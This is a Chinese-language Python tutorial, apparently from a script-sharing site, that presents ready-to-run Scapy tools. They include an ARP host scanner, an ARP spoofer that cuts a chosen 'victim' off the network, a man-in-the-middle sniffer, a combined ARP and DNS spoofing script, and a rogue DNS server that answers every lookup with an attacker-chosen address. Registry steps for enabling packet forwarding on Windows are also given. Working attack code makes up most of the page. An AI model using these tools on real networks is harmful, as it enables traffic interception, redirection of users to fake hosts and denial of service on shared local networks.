Python ARP掃描與欺騙實(shí)現(xiàn)全程詳解
更新時(shí)間：2022年10月09日 14:35:07 作者：LyShark 孤風(fēng)洗劍
這篇文章主要介紹了Python 實(shí)現(xiàn)ARP掃描與欺騙，文中通過(guò)示例代碼介紹的非常詳細(xì)，對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值，需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)吧
ARP欺騙又稱ARP毒化或ARP攻擊，是針對(duì)以太網(wǎng)地址解析協(xié)議ARP的一種攻擊技術(shù)，通過(guò)欺騙局域網(wǎng)內(nèi)訪問(wèn)者PC的網(wǎng)關(guān)MAC地址，使訪問(wèn)者PC錯(cuò)以為攻擊者更改后的MAC地址是網(wǎng)關(guān)的MAC，導(dǎo)致網(wǎng)絡(luò)不通。此種攻擊可讓攻擊者獲取局域網(wǎng)上的數(shù)據(jù)包甚至可篡改數(shù)據(jù)包，且可讓網(wǎng)絡(luò)上特定計(jì)算機(jī)或所有計(jì)算機(jī)無(wú)法正常連線。
實(shí)現(xiàn)ARP掃描: 運(yùn)用Scapy工具包，開發(fā)一款A(yù)RP掃描工具，掃描網(wǎng)段內(nèi)所有的在線主機(jī)并顯示其MAC地址。
from scapy.all import *
from optparse import OptionParser
import threading
def parse_ip(targets):
_split = targets.split('-')
first_ip = _split[0]
ip_split = first_ip.split('.')
ipv4 = range(int(ip_split[3]),int(_split[1])+1)
addr = [ ip_split[0]+'.'+ip_split[1]+'.'+ip_split[2]+'.'+str(p) for p in ipv4 ]
return addr
def arp_scan(address):
try:
ret = sr1(ARP(pdst=address),timeout=5,verbose=False)
if ret:
if ret.haslayer('ARP') and ret.fields['op'] == 2:
print('[+] IP地址: {} => MAC地址:{}'.format(ret.fields['psrc'],ret.fields['hwsrc']))
except Exception:
exit(1)
def Banner():
print(" _ ____ _ _ ")
print(" | | _ _/ ___|| |__ __ _ _ __| | __")
print(" | | | | | \___ \| '_ \ / _` | '__| |/ /")
print(" | |__| |_| |___) | | | | (_| | | | < ")
print(" |_____\__, |____/|_| |_|\__,_|_| |_|\_\\")
print(" |___/ \n")
print("E-Mail: me@lyshark.com\n")
if __name__ == "__main__":
Banner()
parser = OptionParser()
parser.add_option("-a","--addr",dest="address",help="--> input 192.168.1.0-100")
(options,args) = parser.parse_args()
if options.address:
addr_list = parse_ip(options.address)
for item in addr_list:
threads = []
t = threading.Thread(target=arp_scan,args=(item,))
threads.append(t)
t.start()
for item in threads:
item.join()
else:
parser.print_help()執(zhí)行掃描如下:
實(shí)現(xiàn)ARP欺騙: 通過(guò)ARP協(xié)議掃描網(wǎng)絡(luò)中在線主機(jī),并能夠指定IP地址斷掉網(wǎng)絡(luò).
from scapy.all import *
import argparse
import threading,time
# 生成網(wǎng)段信息,例如輸入: 192.168.1.1/20 生成`1-20`地址
def Parse_IP(targets):
_split = targets.split('/')
first_ip = _split[0]
ip_split = first_ip.split('.')
ipv4 = range(int(ip_split[3]),int(_split[1])+1)
addr = [ ip_split[0]+'.'+ip_split[1]+'.'+ip_split[2]+'.'+str(p) for p in ipv4 ]
return addr
# 通過(guò)ARP協(xié)議掃描局域網(wǎng)中在線的設(shè)備
def ARP_Scan(address):
try:
ret = sr1(ARP(pdst=address),timeout=5,verbose=False)
if ret:
if ret.haslayer('ARP') and ret.fields['op'] == 2:
print('[+] IP地址: %-13s ==> MAC地址: %-15s' %(ret.fields['psrc'],ret.fields['hwsrc']))
except Exception:
exit(1)
# 創(chuàng)建并發(fā)送有效載荷
def SendPayload(Interface,srcMac,tgtMac,gateWayMac,gatewayIP,tgtIP):
print("[+] 目標(biāo)MAC: {} 目標(biāo)IP: {} 發(fā)送: 2 packets".format(tgtMac,tgtIP))
# 生成ARP數(shù)據(jù)包,偽造網(wǎng)關(guān)欺騙目標(biāo)計(jì)算機(jī)
sendp(Ether(src=srcMac,dst=tgtMac)/ARP(hwsrc=srcMac,psrc=gatewayIP,hwdst=tgtMac,pdst=tgtIP,op=2),iface=Interface)
# 生成ARP數(shù)據(jù)包,偽造目標(biāo)計(jì)算機(jī)欺騙網(wǎng)關(guān)
sendp(Ether(src=srcMac,dst=gatewayMac)/ARP(hwsrc=srcMac,psrc=tgtIP,hwdst=gatewayMac,pdst=gatewayIP,op=2),iface=Interface)
print("-------------------------------------------------------------------------")
def Banner():
print(" _ ____ _ _ ")
print(" | | _ _/ ___|| |__ __ _ _ __| | __")
print(" | | | | | \___ \| '_ \ / _` | '__| |/ /")
print(" | |__| |_| |___) | | | | (_| | | | < ")
print(" |_____\__, |____/|_| |_|\__,_|_| |_|\_\\")
print(" |___/ \n")
print("E-Mail: me@lyshark.com\n")
if __name__ == "__main__":
Banner()
parser = argparse.ArgumentParser()
parser.add_argument("-s","--scan",dest="scan",help="輸入一個(gè)掃描網(wǎng)段")
parser.add_argument("-i","--interface",dest="interface",help="輸入接口名")
parser.add_argument("-g","--gateway",dest="gateway",help="輸入網(wǎng)關(guān)地址")
parser.add_argument("-t","--target",dest="target",help="輸入被害主機(jī)地址")
args = parser.parse_args()
# 使用方式: main.py -s192.168.1.1/100
if args.scan:
addr_list = Parse_IP(args.scan)
for item in addr_list:
threads = []
t = threading.Thread(target=ARP_Scan,args=(item,))
threads.append(t)
t.start()
for item in threads:
item.join()
# 使用方式: main.py -i "Realtek PCIe GBE Family Controller" -g 192.168.1.1 -t 192.168.1.10
elif args.gateway and args.target and args.scan == None:
srcMac = get_if_hwaddr(args.interface) # 通過(guò)接口名稱獲取本機(jī)MAC地址
tgtMac = getmacbyip(args.target) # 通過(guò)IP地址獲取目標(biāo)計(jì)算機(jī)的MAC地址
gatewayMac = getmacbyip(args.gateway) # 指定本機(jī)網(wǎng)段的網(wǎng)關(guān)MAC地址
while True:
t = threading.Thread(target=SendPayload,args=(args.interface,srcMac,tgtMac,gatewayMac,args.gateway,args.target))
t.start()
t.join()
time.sleep(1)
else:
parser.print_help()開啟轉(zhuǎn)發(fā)功能，開始運(yùn)行里面輸入regedit打開注冊(cè)表編輯器，在注冊(cè)表定位下面注冊(cè)表項(xiàng)。
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/ Services/Tcpip/Parameters
選擇下面的項(xiàng)目：IPEnableRouter:REG_DWORD:0x0 找到項(xiàng)目鼠標(biāo)右鍵修改數(shù)值為1
ARP數(shù)據(jù)嗅探: 利用欺騙實(shí)現(xiàn)的局域網(wǎng)嗅探工具Windows下需要開啟Routing And RemoteAccess轉(zhuǎn)發(fā)服務(wù).
import sys,os,threading
import argparse
from scapy.all import *
# 生成ARP數(shù)據(jù)包,偽造網(wǎng)關(guān)欺騙目標(biāo)計(jì)算機(jī)
def createArp2Station(interface,target_ip,gateway_ip):
dst_Mac=str(getmacbyip(target_ip))
self_Mac=str(get_if_hwaddr(interface))
Ether_data=Ether(src=self_Mac,dst=dst_Mac) / ARP(op=2,hwsrc=self_Mac,psrc=gateway_ip,hwdst=dst_Mac,pdst=target_ip)
try:
sendp(Ether_data,inter=2,iface=interface,loop=1)
except Exception as e:
print("目標(biāo)ARP數(shù)據(jù)發(fā)送失敗!")
# 生成ARP數(shù)據(jù)包,偽造目標(biāo)計(jì)算機(jī)欺騙網(wǎng)關(guān)
def createArp2Gateway(interface,target_ip,gateway_ip):
dst_Mac = getmacbyip(gateway_ip)
self_Mac = get_if_hwaddr(interface)
Ether_data = None
Ether_data = Ether(src=self_Mac, dst=dst_Mac) / ARP(op=2, hwsrc=self_Mac, psrc=target_ip, hwdst=dst_Mac, pdst=gateway_ip)
try:
sendp(Ether_data, inter=2,iface=interface,loop=1)
except Exception as e:
print("網(wǎng)關(guān)ARP數(shù)據(jù)發(fā)送失敗!")
def Packet_CallBack(pkt):
if pkt.haslayer(IP):
if pkt.getlayer(IP).src != "127.0.0.1":
ip_src = pkt.getlayer(IP).src
ip_dst = pkt.getlayer(IP).dst
print("源地址: {} ---> 目標(biāo)地址: {}".format(ip_src,ip_dst))
def Banner():
print(" _ ____ _ _ ")
print(" | | _ _/ ___|| |__ __ _ _ __| | __")
print(" | | | | | \___ \| '_ \ / _` | '__| |/ /")
print(" | |__| |_| |___) | | | | (_| | | | < ")
print(" |_____\__, |____/|_| |_|\__,_|_| |_|\_\\")
print(" |___/ \n")
print("E-Mail: me@lyshark.com\n")
if __name__ == "__main__":
# 使用方式: main.py -i "Realtek PCIe GBE Family Controller" -g 192.168.1.1 -t 192.168.1.10
Banner()
parser = argparse.ArgumentParser()
parser.add_argument("-i","--interface",dest="interface",help="輸入網(wǎng)卡名稱")
parser.add_argument("-t","--target_ip",dest="target_ip",help="輸入目標(biāo)主機(jī)IP")
parser.add_argument("-g","--gateway",dest="gateway",help="輸入網(wǎng)關(guān)地址")
args = parser.parse_args()
if args.interface and args.target_ip and args.gateway:
try:
t1=threading.Thread(target=createArp2Station,args=(args.interface,args.target_ip,args.gateway))
t1.setDaemon(True)
t1.start()
t2=threading.Thread(target=createArp2Gateway,args=(args.interface,args.target_ip,args.gateway))
t2.setDaemon(True)
t2.start()
sniff(prn=Packet_CallBack,filter="tcp",iface=args.interface)
except Exception:
sys.exit(1)
while True:
pass
else:
parser.print_help()
# http and ip.src_host==192.168.1.6 and http.request.method==GET and !(http.request.full_uri matches "http://.*\.jpg.*")實(shí)現(xiàn)DNS欺騙: 網(wǎng)上其他人的一種實(shí)現(xiàn)方法，代碼如下，只不過(guò)我們只做了ARP騙，而在該欺騙基礎(chǔ)上可以加強(qiáng)為DNS欺騙。
import sys
import os
import threading
from scapy.all import *
from optparse import OptionParser
#DNS欺騙函數(shù)
def DNS_Spoof(data):
if data.haslayer(DNS):
try:
#構(gòu)造DNS AN數(shù)據(jù)
dns_an=DNSRR(rrname=data[DNS].qd.qname,rdata=jokers)
#構(gòu)造IP/UDP數(shù)據(jù)包
repdata=IP(src=data[IP].dst,dst=data[IP].src)/UDP(dport=data[IP].sport,sport=53)
#構(gòu)造DNS數(shù)據(jù)包
repdata/=DNS(id=data[DNS].id,qd=data[DNS].qd,qr=1,an=dns_an)
#攻擊信息輸出
print ('\nhancker ip :' + jokers + " url : "+data[DNS].qd.qname)
#發(fā)送數(shù)據(jù)包
send(repdata)
except Exception:
sys.exit(1)
#DNS欺騙函數(shù)
def DNS_S(dns_ip,iface):
global jokers
jokers=dns_ip
print ("DNS欺騙開始!")
sniff(prn=DNS_Spoof,filter='udp dst port 53',iface=iface)
#ARP欺騙函數(shù)
def op(eths,mubiao_ip,Ps,gateway_ip):
ip=mubiao_ip
wifi=gateway_ip
#目標(biāo)設(shè)備MAC地址
dst_Mac=str(getmacbyip(ip))
#黑客設(shè)備mac地址
self_Mac=str(get_if_hwaddr(eths))
#網(wǎng)關(guān)MAC地址
wifi_Mac=str(getmacbyip(wifi))
#構(gòu)造以太幀數(shù)據(jù)
Ether_data=Ether(src=self_Mac,dst=dst_Mac)/ARP(op=2,hwsrc=self_Mac,psrc=wifi,hwdst=dst_Mac,pdst=ip)
try:
#發(fā)送以太幀數(shù)據(jù)，sendp發(fā)送OSI模型中的二層數(shù)據(jù)
sendp(Ether_data,inter=2,iface=eths,loop=1)
except Exception as e:
print("目標(biāo)ARP數(shù)據(jù)發(fā)送失敗!")
def wifi(eths,mubiao_ip,gateway_ip,Ps,dns_ip):
ip=gateway_ip
dst=mubiao_ip
et = eths
#根據(jù)IP獲取MAC
dst_Mac = getmacbyip(ip)
#根據(jù)網(wǎng)卡獲取MAC
self_Mac = get_if_hwaddr(et)
Ether_data = None
if Ps=="1":
#構(gòu)造以太幀數(shù)據(jù)與ARP響應(yīng)數(shù)據(jù)，ARP協(xié)議源地址給一個(gè)不存在的MAC地址與正確的IP地址對(duì)應(yīng)，實(shí)現(xiàn)雙向的無(wú)法解析，ARP協(xié)議的op參數(shù)是狀態(tài)，2為響應(yīng)數(shù)據(jù)，1為請(qǐng)求數(shù)據(jù)
Ether_data = Ether(src=self_Mac, dst=dst_Mac) / ARP(op=2, hwsrc='12:1a:13:a3:13:ef', psrc=dst, hwdst=dst_Mac, pdst=ip)
#新線程，開始DNS欺騙
t3 = threading.Thread(target=DNS_S, args=(dns_ip,eths))
t3.setDaemon(True)
t3.start()
if Ps == "0":
#構(gòu)造以太幀數(shù)據(jù)與ARP響應(yīng)數(shù)據(jù)，這里因?yàn)椴恍枰狣NS欺騙，所以不需要一個(gè)假的MAC地址，讓雙方通信設(shè)備正常訪問(wèn)即可
Ether_data = Ether(src=self_Mac, dst=dst_Mac) / ARP(op=2, hwsrc=self_Mac, psrc=dst, hwdst=dst_Mac, pdst=ip)
if Ps!="1" and Ps!="0":
print (Ps)
print (type(Ps))
print ('-P 參數(shù)有誤！')
sys.exit(1)
try:
sendp(Ether_data, inter=2,iface=et,loop=1)
except Exception as e:
print("網(wǎng)關(guān)ARP數(shù)據(jù)發(fā)送失敗!")
def main():
try:
eth= "Realtek PCIe GBE Family Controller"
mubiao="192.168.1.6"
gateway="192.168.1.1"
P="0"
dip="8.8.8.8"
t1=threading.Thread(target=op,args=(eth,mubiao,P,gateway))
t1.setDaemon(True)
t1.start()
t2=threading.Thread(target=wifi,args=(eth,mubiao,gateway,P,dip))
t2.setDaemon(True)
t2.start()
except Exception as e:
print (e)
sys.exit(1)
while True:
pass
if __name__ == '__main__':
main()DNS欺騙需要一個(gè)DNS解析服務(wù)器，這里從網(wǎng)上找到一個(gè)DNS解析服務(wù)器代碼，可以快速解析。
import socketserver,struct
class SinDNSQuery:
def __init__(self, data):
i = 1
self.name = ''
while True:
d = data[i]
if d == 0:
break;
if d < 32:
self.name = self.name + '.'
else:
self.name = self.name + chr(d)
i = i + 1
self.querybytes = data[0:i + 1]
(self.type, self.classify) = struct.unpack('>HH', data[i + 1:i + 5])
self.len = i + 5
def getbytes(self):
return self.querybytes + struct.pack('>HH', self.type, self.classify)
class SinDNSAnswer:
def __init__(self, ip):
self.name = 49164
self.type = 1
self.classify = 1
self.timetolive = 190
self.datalength = 4
self.ip = ip
def getbytes(self):
res = struct.pack('>HHHLH', self.name, self.type, self.classify, self.timetolive, self.datalength)
s = self.ip.split('.')
res = res + struct.pack('BBBB', int(s[0]), int(s[1]), int(s[2]), int(s[3]))
return res
class SinDNSFrame:
def __init__(self, data):
(self.id, self.flags, self.quests, self.answers, self.author, self.addition) = struct.unpack('>HHHHHH', data[0:12])
self.query = SinDNSQuery(data[12:])
def getname(self):
return self.query.name
def setip(self, ip):
self.answer = SinDNSAnswer(ip)
self.answers = 1
self.flags = 33152
def getbytes(self):
res = struct.pack('>HHHHHH', self.id, self.flags, self.quests, self.answers, self.author, self.addition)
res = res + self.query.getbytes()
if self.answers != 0:
res = res + self.answer.getbytes()
return res
class SinDNSUDPHandler(socketserver.BaseRequestHandler):
def handle(self):
data = self.request[0].strip()
dns = SinDNSFrame(data)
socket = self.request[1]
namemap = SinDNSServer.namemap
if(dns.query.type==1):
name = dns.getname();
if namemap.__contains__(name):
dns.setip(namemap[name])
socket.sendto(dns.getbytes(), self.client_address)
elif namemap.__contains__('*'):
dns.setip(namemap['*'])
socket.sendto(dns.getbytes(), self.client_address)
else:
socket.sendto(data, self.client_address)
else:
socket.sendto(data, self.client_address)
class SinDNSServer:
def __init__(self, port=53):
SinDNSServer.namemap = {}
self.port = port
def addname(self, name, ip):
SinDNSServer.namemap[name] = ip
def start(self):
HOST, PORT = "0.0.0.0", self.port
server = socketserver.UDPServer((HOST, PORT), SinDNSUDPHandler)
server.serve_forever()
if __name__ == "__main__":
server = SinDNSServer()
server.addname('www.lyshark.com', '192.168.1.1')
server.addname('*', '192.168.1.2')
server.start()到此這篇關(guān)于Python ARP掃描與欺騙實(shí)現(xiàn)全程詳解的文章就介紹到這了,更多相關(guān)Python ARP掃描內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家！
相關(guān)文章
淺談python函數(shù)之作用域(python3.5)
下面小編就為大家?guī)?lái)一篇淺談python函數(shù)之作用域(python3.5)。小編覺得挺不錯(cuò)的，現(xiàn)在就分享給大家，也給大家做個(gè)參考。一起跟隨小編過(guò)來(lái)看看吧2017-10-10
Python使用pandas和openpyxl讀取Excel表格的方法詳解
這篇文章主要介紹了Python讀取Excel表格數(shù)據(jù)的方法,Python提供了多種讀取Excel文件的方式,最常用的庫(kù)是pandas和openpyxl,下面我將詳細(xì)介紹如何使用這兩個(gè)庫(kù)來(lái)讀取Excel文件,并包含一些實(shí)用示例,需要的朋友可以參考下2024-10-10
python通過(guò)shutil實(shí)現(xiàn)快速文件復(fù)制的方法
這篇文章主要介紹了python通過(guò)shutil實(shí)現(xiàn)快速文件復(fù)制的方法,涉及Python中shutil模塊的使用技巧,需要的朋友可以參考下2015-03-03
人工智能學(xué)習(xí)Pytorch進(jìn)階操作教程
這篇文章主要為大家介紹了人工智能學(xué)習(xí)Pytorch進(jìn)階操作的詳解教程，有需要的朋友可以借鑒參考下，希望能夠有所幫助，祝大家多多進(jìn)步2021-11-11
Python中Collections模塊實(shí)現(xiàn)了一些專門化的容器,提供了對(duì)?Python?的通用內(nèi)建容器?dict、list、set?和?tuple?的補(bǔ)充,下面我們就來(lái)了解一下它的具體用法吧2023-11-11
python?opencv背景減去法摳圖實(shí)現(xiàn)示例
這篇文章主要為大家介紹了python?opencv背景減去法摳圖實(shí)現(xiàn)示例，有需要的朋友可以借鑒參考下，希望能夠有所幫助，祝大家多多進(jìn)步，早日升職加薪2022-05-05
pycharm調(diào)試時(shí)顯示圖片問(wèn)題的解決
這篇文章主要介紹了pycharm調(diào)試時(shí)顯示圖片問(wèn)題的解決方案，具有很好的參考價(jià)值，希望對(duì)大家有所幫助。一起跟隨小編過(guò)來(lái)看看吧2021-04-04
Python是一種解釋型、面向?qū)ο?、?dòng)態(tài)數(shù)據(jù)類型的高級(jí)程序設(shè)計(jì)語(yǔ)言。通過(guò)本文給大家介紹Python檢測(cè)網(wǎng)站鏈接是否已存在的相關(guān)內(nèi)容，需要的朋友一起學(xué)習(xí)吧2016-04-04
這篇文章主要介紹了python中元類用法實(shí)例,對(duì)于學(xué)習(xí)Python有不錯(cuò)的參考借鑒價(jià)值,需要的朋友可以參考下2014-10-10
詳解Python中字符串前“b”,“r”,“u”,“f”的作用
這篇文章主要介紹了Python中字符串前“b”,“r”,“u”,“f”的作用,感興趣的朋友跟隨小編一起看看吧2019-12-12